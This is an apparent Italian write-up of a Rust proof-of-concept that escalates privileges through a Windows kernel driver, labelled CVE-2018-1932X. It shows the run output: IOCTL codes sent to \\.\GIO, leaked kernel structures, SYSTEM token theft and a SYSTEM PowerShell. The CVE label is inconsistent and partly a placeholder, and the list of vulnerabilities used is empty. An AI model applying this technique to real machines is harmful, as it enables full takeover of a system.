
POC in Rust per vulnerabilità dei driver kernel CVE-2018-1932X
Solo perché il tuo target non è memory safe non significa che il tuo exploit debba esserlo!
Vulnerabilità utilizzate:
Testato su:
Windows 10 Kernel Version 19041 MP (1 procs) Free x64.\CVE-2018-1932X.exe
PS Z:\CVE-2018-1932X\target\debug> .\CVE-2018-1932X.exe
CVE-2019-1932X
Apertura handle al driver del kernel: \\.\GIO
Handle acquisito: 0xa8
Invio IOCTL: 0xc3502580 con 0x10 byte di dati
[+] Leaked _KPCR: ffffe48159d88000
[*] Address _KPCRB: ffffe48159d88020
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
[+] Leaked _KPRCB: ffffe48159d88180
[*] Address _KTHREAD: ffffe48159d88188
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
[+] Leaked _KTHREAD: ffffb50b14d16080
[*] Address _KPROCESS: ffffb50b14d162a0
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
[+] Leaked _KPROCESS: ffffb50b1507f080
[*] Address PID: ffffb50b1507f4c0
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
[+] Leaked PID: 2092
[+] Known PID: 2092
Percorso concatenamento Active Process Links...
[*] Address ActiveProcessLinks.Flink: ffffb50b1507f4c8 (PID: 82c)
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
[+] Leaked _EPROCESS: fffff8015561e060 (PID: 0)
[*] Address ActiveProcessLinks.Flink: fffff8015561e060 (PID: 0)
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
[+] Leaked _EPROCESS: ffffb50b100624c8 (PID: 4)
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
[+] Current Token: ffff9708cac8306e
[+] System Token: ffff9708c567b047
Prestito token SYSTEM...
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
Invio IOCTL: 0xc3502808 con 0x14 byte di dati
[+] Current Token: ffff9708c567b047
Generazione processo...
[+] Generato processo SYSTEM
Chiusura handle al driver del kernel: \\.\GIO
Powershell generata:
PS C:\> whoami
nt authority\system

